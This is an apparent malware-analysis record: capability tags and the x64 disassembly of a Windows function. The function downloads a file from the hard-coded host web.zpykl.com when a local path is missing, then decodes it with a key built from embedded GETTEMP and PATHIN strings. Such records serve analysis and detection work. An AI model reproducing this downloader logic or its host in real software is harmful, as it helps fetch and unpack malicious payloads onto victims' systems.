Function at 0x140001b10
Capabilities:
Check if file exists
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x68
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov r15, rcx
mov rcx, qword [rcx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140001b68
mov rdx, qword [r15]
sub rdx, 0x18
or rbp, 0xffffffffffffffff
lock xadd dword [rdx + 0x10], ebp
add ebp, 0xffffffff
test ebp, ebp
jg 0x140001b5e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, 1
jmp 0x140002059
lea rcx, str.http:__web.zpykl.com_get_win64__m201501
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
xor r12d, r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, qword [r15]
lea rdx, str.http:__web.zpykl.com_get_win64__m201501
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x140002037
lea rcx, [rsp + 0x40]
call fcn.140003b3c
nop
xor r9d, r9d
mov r8d, 0x8002
mov rdx, qword [r15]
lea rcx, [rsp + 0x40]
call fcn.140004460
test eax, eax
je 0x14000202c
lea rcx, [rsp + 0x40]
call fcn.1400039d8
mov r14, rax
mov qword [rsp + 0x30], rax
mov rcx, rax
call fcn.14000304c
mov rdi, rax
mov qword [rsp + 0xc8], rax
mov r8d, r14d
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140003770
mov edx, eax
or rbp, 0xffffffffffffffff
cmp rdx, r14
jne 0x140001fed
call fcn.1400035d4
mov rdx, rax
mov ecx, r12d
test rax, rax
setne cl
test ecx, ecx
jne 0x140001c26
mov ecx, 0x80004005
call fcn.140001290
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0xb8], rbx
lea rdx, str.GETTEMP
test rdx, 0xffffffffffff0000
jne 0x140001c7e
movzx edi, dx
mov ecx, edi
call fcn.14000311c
test rax, rax
je 0x140001d78
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.1400018f0
mov rbx, qword [rsp + 0xb8]
jmp 0x140001d78
xor eax, eax
mov rcx, rbp
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rdi, rcx
test ecx, ecx
jne 0x140001cf7
lea rdx, [rbx - 0x18]
mov rdi, qword [rdx]
cmp dword [rdx + 8], eax
je 0x140001d78
cmp dword [rdx + 0x10], eax
jge 0x140001cc6
cmp dword [rbx - 0xc], eax
jge 0x140001cbb
mov ecx, 0x80070057
call fcn.140001290
int3
mov dword [rbx - 0x10], r12d
mov byte [rbx], al
jmp 0x140001d78
mov eax, ebp
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x140001cdd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0xb8], rbx
jmp 0x140001d78
mov esi, dword [rbx - 0x10]
mov r13, rdx
sub r13, rbx
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, edi
or eax, ecx
jge 0x140001d2f
mov edx, edi
lea rcx, [rsp + 0xb8]
call fcn.1400015c0
mov rbx, qword [rsp + 0xb8]
lea rdx, str.GETTEMP
cmp r13, rsi
ja 0x140001d4c
movsxd rsi, edi
lea r8, [r13 + rbx]
mov r9, rsi
mov rdx, rsi
mov rcx, rbx
call fcn.140011c80
jmp 0x140001d60
movsxd rsi, edi
mov r9, rsi
mov r8, rdx
mov rdx, rsi
mov rcx, rbx
call fcn.140011d10
test edi, edi
js 0x140001fe2
cmp edi, dword [rbx - 0xc]
jg 0x140001fe2
mov dword [rbx - 0x10], edi
mov byte [rsi + rbx], 0
call fcn.1400035d4
mov rdx, rax
mov ecx, r12d
test rax, rax
setne cl
test ecx, ecx
jne 0x140001d98
mov ecx, 0x80004005
call fcn.140001290
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
lea rsi, [rax + 0x18]
mov qword [rsp + 0xc0], rsi
lea rdx, str.PATHIN
test rdx, 0xffffffffffff0000
jne 0x140001df0
movzx edi, dx
mov ecx, edi
call fcn.14000311c
test rax, rax
je 0x140001ef9
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.1400018f0
mov rsi, qword [rsp + 0xc0]
jmp 0x140001ef9
xor eax, eax
mov rcx, rbp
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rdi, rcx
test ecx, ecx
jne 0x140001e71
lea rdx, [rsi - 0x18]
mov rdi, qword [rdx]
cmp dword [rdx + 8], eax
je 0x140001ef9
cmp dword [rdx + 0x10], eax
jge 0x140001e38
cmp dword [rsi - 0xc], eax
jge 0x140001e2d
mov ecx, 0x80070057
call fcn.140001290
int3
mov dword [rsi - 0x10], r12d
mov byte [rsi], al
jmp 0x140001ef9
mov eax, ebp
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x140001e4f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x18]
lea rsi, [rax + 0x18]
mov qword [rsp + 0xc0], rsi
mov rbx, qword [rsp + 0xb8]
jmp 0x140001ef9
mov r13d, dword [rsi - 0x10]
mov r14, rdx
sub r14, rsi
mov ecx, 1
sub ecx, dword [rsi - 8]
mov eax, dword [rsi - 0xc]
sub eax, edi
or eax, ecx
jge 0x140001eaa
mov edx, edi
lea rcx, [rsp + 0xc0]
call fcn.1400015c0
mov rsi, qword [rsp + 0xc0]
lea rdx, str.PATHIN
cmp r14, r13
ja 0x140001ec6
movsxd r13, edi
lea r8, [r14 + rsi]
mov r9, r13
mov rdx, r13
mov rcx, rsi
call fcn.140011c80
jmp 0x140001eda
movsxd r13, edi
mov r9, r13
mov r8, rdx
mov rdx, r13
mov rcx, rsi
call fcn.140011d10
test edi, edi
js 0x140001fd7
cmp edi, dword [rsi - 0xc]
jg 0x140001fd7
mov dword [rsi - 0x10], edi
mov byte [r13 + rsi], 0
mov r14, qword [rsp + 0x30]
test r14, r14
je 0x140001f69
movsxd r8, dword [rbx - 0x10]
xor edx, edx
mov rax, r12
div r8
test edx, edx
js 0x140001f5e
cmp edx, dword [rbx - 0x10]
jg 0x140001f5e
movsxd rax, edx
movzx edi, byte [rax + rbx]
test edx, edx
js 0x140001f53
cmp edx, dword [rsi - 0x10]
jg 0x140001f53
movsxd rcx, edx
movzx edx, byte [rcx + rsi]
add dl, 1
movzx eax, r12b
imul dl
movzx ecx, al
movzx eax, dil
imul cl
mov rdi, qword [rsp + 0xc8]
sub byte [r12 + rdi], al
add r12, 1
cmp r12, r14
jb 0x140001f02
jmp 0x140001f71
mov ecx, 0x80070057
call fcn.140001290
int3
mov ecx, 0x80070057
call fcn.140001290
int3
mov rdi, qword [rsp + 0xc8]
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.140003828
mov r8d, r14d
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.1400037bc
mov r12d, 1
lea rdx, [rsi - 0x18]
mov eax, ebp
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x140001fb2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0xb8]
add rdx, 0xffffffffffffffe8
mov eax, ebp
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x140001fed
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140001fed
mov ecx, 0x80070057
call fcn.140001290
nop
mov ecx, 0x80070057
call fcn.140001290
nop
mov rcx, rdi
call fcn.140003054
lea rcx, [rsp + 0x40]
call fcn.140003ab4
nop
lea rcx, [rsp + 0x40]
call fcn.140003da8
nop
mov rdx, qword [r15]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ebp
add ebp, 0xffffffff
test ebp, ebp
jg 0x140002027
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, r12d
jmp 0x140002059
lea rcx, [rsp + 0x40]
call fcn.140003da8
nop
mov rdx, qword [r15]
sub rdx, 0x18
or rbp, 0xffffffffffffffff
lock xadd dword [rdx + 0x10], ebp
add ebp, 0xffffffff
test ebp, ebp
jg 0x140002057
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
add rsp, 0x68
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret